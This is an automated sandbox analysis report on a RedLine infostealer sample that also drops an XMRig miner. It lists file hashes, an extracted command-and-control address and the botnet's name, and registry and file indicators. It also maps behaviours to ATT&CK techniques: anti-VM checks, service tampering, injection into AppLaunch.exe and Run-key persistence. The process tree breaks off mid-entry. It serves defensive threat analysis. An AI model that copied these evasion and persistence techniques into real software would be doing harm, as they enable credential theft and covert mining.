redline | 3080f7ed1cb9ec8fbf4c0cf992bd0eb9dba5f69d0342f58ebcc8943d28c77a97

Analysis

max time kernel
150s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220721-en
resource tags

arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
submitted
07-08-2022 07:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

379a6a4f7be0d0e21a5e5b996ea8aeeb.exe
Size

1.2MB
MD5

379a6a4f7be0d0e21a5e5b996ea8aeeb
SHA1

27df283dcb89ee72f304df89d3938239acc32439
SHA256

3080f7ed1cb9ec8fbf4c0cf992bd0eb9dba5f69d0342f58ebcc8943d28c77a97
SHA512

e6705fc43877d4f46052f03dbd0a17cdc5afee7b2d6eec4f944556d005a613e9b356361ad3df9cb5164925f5429109d348a4c0b90018220047f8956d9b32f4b8

Score

10^/10

redline xmrig logsdiller cloud (sup: @mr_golds)discovery evasion exploit infostealer miner persistence spyware themida trojan

Malware Config

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

193.233.193.14:8163

Attributes

auth_value
56c6f7b9024c076f0a96931453da7e56

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/190252-131-0x0000000000190000-0x00000000001B0000-memory.dmp	family_redline

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

11.exeupdater.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 11.exe
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ updater.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	11.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/8080-257-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/8080-258-0x000000014036EAC4-mapping.dmp	xmrig
behavioral2/memory/8080-259-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/8080-260-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/8080-267-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig
behavioral2/memory/8080-269-0x0000000140000000-0x0000000140809000-memory.dmp	xmrig

Downloads MZ/PE file

Drops file in Drivers directory 2 IoCs

Processes:

conhost.execonhost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe
File opened for modification	C:\Windows\system32\drivers\etc\hosts	conhost.exe

Executes dropped EXE 2 IoCs

Processes:

11.exeupdater.exe

pid process

3424 11.exe
6944 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exetakeown.exeicacls.exeicacls.exe

pid process

8228 takeown.exe
5944 takeown.exe
6052 icacls.exe
8240 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

pid	process
3424	11.exe
6944	updater.exe

pid	process
8228	takeown.exe
5944	takeown.exe
6052	icacls.exe
8240	icacls.exe

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

11.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	11.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	11.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe

Modifies file permissions 1 TTPs 4 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exetakeown.exetakeown.exe

pid process

6052 icacls.exe
8240 icacls.exe
8228 takeown.exe
5944 takeown.exe

pid	process
6052	icacls.exe
8240	icacls.exe
8228	takeown.exe
5944	takeown.exe

Themida packer 9 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\11.exe	themida
C:\Users\Admin\AppData\Local\Temp\11.exe	themida
behavioral2/memory/3424-151-0x0000000000400000-0x0000000001066000-memory.dmp	themida
behavioral2/memory/3424-152-0x0000000000400000-0x0000000001066000-memory.dmp	themida
behavioral2/memory/3424-154-0x0000000000400000-0x0000000001066000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/6944-226-0x0000000000400000-0x0000000001066000-memory.dmp	themida
behavioral2/memory/6944-229-0x0000000000400000-0x0000000001066000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Adds Run key to start application 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

11.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	11.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.EXEpowershell.execonhost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log	conhost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

11.exeupdater.exe

pid process

3424 11.exe
6944 updater.exe

pid	process
3424	11.exe
6944	updater.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

379a6a4f7be0d0e21a5e5b996ea8aeeb.execonhost.exe

description	pid	process	target process
PID 4432 set thread context of 190252	4432	379a6a4f7be0d0e21a5e5b996ea8aeeb.exe	AppLaunch.exe
PID 7096 set thread context of 8080	7096	conhost.exe	explorer.exe

Drops file in Program Files directory 5 IoCs

Processes:

setup.execonhost.exepowershell.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20220807073154.pma	setup.exe
File created	C:\Program Files\Google\Libs\WR64.sys	conhost.exe
File created	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File opened for modification	C:\Program Files\Google\Chrome\updater.exe	powershell.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\f420475a-df9f-4b48-bd65-974b9312a362.tmp	setup.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

5652 sc.exe
7936 sc.exe
8000 sc.exe
5472 sc.exe
5536 sc.exe
5584 sc.exe
7876 sc.exe
7912 sc.exe
8120 sc.exe
5408 sc.exe

pid	process
5652	sc.exe
7936	sc.exe
8000	sc.exe
5472	sc.exe
5536	sc.exe
5584	sc.exe
7876	sc.exe
7912	sc.exe
8120	sc.exe
5408	sc.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEconhost.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.EXE

Modifies registry class 1 IoCs

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ msedge.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Modifies registry key 1 TTPs 18 IoCs

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid	process
6368	reg.exe
8140	reg.exe
8188	reg.exe
8216	reg.exe
8204	reg.exe
5748	reg.exe
6296	reg.exe
6352	reg.exe
8256	reg.exe
8280	reg.exe
5784	reg.exe
6316	reg.exe
8160	reg.exe
8268	reg.exe
5844	reg.exe
5884	reg.exe
5912	reg.exe
8292	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

AppLaunch.exepowershell.exemsedge.exemsedge.execonhost.exepowershell.exepowershell.EXEidentity_helper.exepowershell.execonhost.exeexplorer.exe

pid	process
190252	AppLaunch.exe
3012	powershell.exe
2380	msedge.exe
2380	msedge.exe
3012	powershell.exe
3012	powershell.exe
704	msedge.exe
704	msedge.exe
1452	conhost.exe
1452	conhost.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
6284	powershell.EXE
6284	powershell.EXE
6284	powershell.EXE
7184	identity_helper.exe
7184	identity_helper.exe
7332	powershell.exe
7332	powershell.exe
7332	powershell.exe
7096	conhost.exe
7096	conhost.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe
8080	explorer.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

652
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

Processes:

msedge.exe

pid process

704 msedge.exe
704 msedge.exe
704 msedge.exe
704 msedge.exe
704 msedge.exe

pid	process
652

pid	process
704	msedge.exe
704	msedge.exe
704	msedge.exe
704	msedge.exe
704	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

AppLaunch.exepowershell.execonhost.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exetakeown.exe

description	pid	process
Token: SeDebugPrivilege	190252	AppLaunch.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	1452	conhost.exe
Token: SeShutdownPrivilege	5508	powercfg.exe
Token: SeCreatePagefilePrivilege	5508	powercfg.exe
Token: SeShutdownPrivilege	5564	powercfg.exe
Token: SeCreatePagefilePrivilege	5564	powercfg.exe
Token: SeShutdownPrivilege	5596	powercfg.exe
Token: SeCreatePagefilePrivilege	5596	powercfg.exe
Token: SeShutdownPrivilege	5632	powercfg.exe
Token: SeCreatePagefilePrivilege	5632	powercfg.exe
Token: SeDebugPrivilege	5724	powershell.exe
Token: SeTakeOwnershipPrivilege	5944	takeown.exe
Token: SeIncreaseQuotaPrivilege	5724	powershell.exe
Token: SeSecurityPrivilege	5724	powershell.exe
Token: SeTakeOwnershipPrivilege	5724	powershell.exe
Token: SeLoadDriverPrivilege	5724	powershell.exe
Token: SeSystemProfilePrivilege	5724	powershell.exe
Token: SeSystemtimePrivilege	5724	powershell.exe
Token: SeProfSingleProcessPrivilege	5724	powershell.exe
Token: SeIncBasePriorityPrivilege	5724	powershell.exe
Token: SeCreatePagefilePrivilege	5724	powershell.exe
Token: SeBackupPrivilege	5724	powershell.exe
Token: SeRestorePrivilege	5724	powershell.exe
Token: SeShutdownPrivilege	5724	powershell.exe
Token: SeDebugPrivilege	5724	powershell.exe
Token: SeSystemEnvironmentPrivilege	5724	powershell.exe
Token: SeRemoteShutdownPrivilege	5724	powershell.exe
Token: SeUndockPrivilege	5724	powershell.exe
Token: SeManageVolumePrivilege	5724	powershell.exe
Token: 33	5724	powershell.exe
Token: 34	5724	powershell.exe
Token: 35	5724	powershell.exe
Token: 36	5724	powershell.exe
Token: SeIncreaseQuotaPrivilege	5724	powershell.exe
Token: SeSecurityPrivilege	5724	powershell.exe
Token: SeTakeOwnershipPrivilege	5724	powershell.exe
Token: SeLoadDriverPrivilege	5724	powershell.exe
Token: SeSystemProfilePrivilege	5724	powershell.exe
Token: SeSystemtimePrivilege	5724	powershell.exe
Token: SeProfSingleProcessPrivilege	5724	powershell.exe
Token: SeIncBasePriorityPrivilege	5724	powershell.exe
Token: SeCreatePagefilePrivilege	5724	powershell.exe
Token: SeBackupPrivilege	5724	powershell.exe
Token: SeRestorePrivilege	5724	powershell.exe
Token: SeShutdownPrivilege	5724	powershell.exe
Token: SeDebugPrivilege	5724	powershell.exe
Token: SeSystemEnvironmentPrivilege	5724	powershell.exe
Token: SeRemoteShutdownPrivilege	5724	powershell.exe
Token: SeUndockPrivilege	5724	powershell.exe
Token: SeManageVolumePrivilege	5724	powershell.exe
Token: 33	5724	powershell.exe
Token: 34	5724	powershell.exe
Token: 35	5724	powershell.exe
Token: 36	5724	powershell.exe
Token: SeIncreaseQuotaPrivilege	5724	powershell.exe
Token: SeSecurityPrivilege	5724	powershell.exe
Token: SeTakeOwnershipPrivilege	5724	powershell.exe
Token: SeLoadDriverPrivilege	5724	powershell.exe
Token: SeSystemProfilePrivilege	5724	powershell.exe
Token: SeSystemtimePrivilege	5724	powershell.exe
Token: SeProfSingleProcessPrivilege	5724	powershell.exe
Token: SeIncBasePriorityPrivilege	5724	powershell.exe
Token: SeCreatePagefilePrivilege	5724	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msedge.exe

pid process

704 msedge.exe
704 msedge.exe

pid	process
704	msedge.exe
704	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

379a6a4f7be0d0e21a5e5b996ea8aeeb.exeAppLaunch.exe11.execonhost.exemsedge.exe

description	pid	process	target process
PID 4432 wrote to memory of 190252	4432	379a6a4f7be0d0e21a5e5b996ea8aeeb.exe	AppLaunch.exe
PID 4432 wrote to memory of 190252	4432	379a6a4f7be0d0e21a5e5b996ea8aeeb.exe	AppLaunch.exe
PID 4432 wrote to memory of 190252	4432	379a6a4f7be0d0e21a5e5b996ea8aeeb.exe	AppLaunch.exe
PID 4432 wrote to memory of 190252	4432	379a6a4f7be0d0e21a5e5b996ea8aeeb.exe	AppLaunch.exe
PID 4432 wrote to memory of 190252	4432	379a6a4f7be0d0e21a5e5b996ea8aeeb.exe	AppLaunch.exe
PID 190252 wrote to memory of 3424	190252	AppLaunch.exe	11.exe
PID 190252 wrote to memory of 3424	190252	AppLaunch.exe	11.exe
PID 3424 wrote to memory of 1452	3424	11.exe	conhost.exe
PID 3424 wrote to memory of 1452	3424	11.exe	conhost.exe
PID 3424 wrote to memory of 1452	3424	11.exe	conhost.exe
PID 190252 wrote to memory of 704	190252	AppLaunch.exe	msedge.exe
PID 190252 wrote to memory of 704	190252	AppLaunch.exe	msedge.exe
PID 1452 wrote to memory of 3012	1452	conhost.exe	powershell.exe
PID 1452 wrote to memory of 3012	1452	conhost.exe	powershell.exe
PID 704 wrote to memory of 3364	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 3364	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4080	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 2380	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 2380	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4128	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4128	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4128	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4128	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4128	704	msedge.exe	msedge.exe
PID 704 wrote to memory of 4128	704	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\379a6a4f7be0d0e21a5e5b996ea8aeeb.exe
"C:\Users\Admin\AppData\Local\Temp\379a6a4f7be0d0e21a5e5b996ea8aeeb.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:190252
- - C:\Users\Admin\AppData\Local\Temp\11.exe
    "C:\Users\Admin\AppData\Local\Temp\11.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:3424
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\11.exe"
      4⤵
      Drops file in Drivers directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
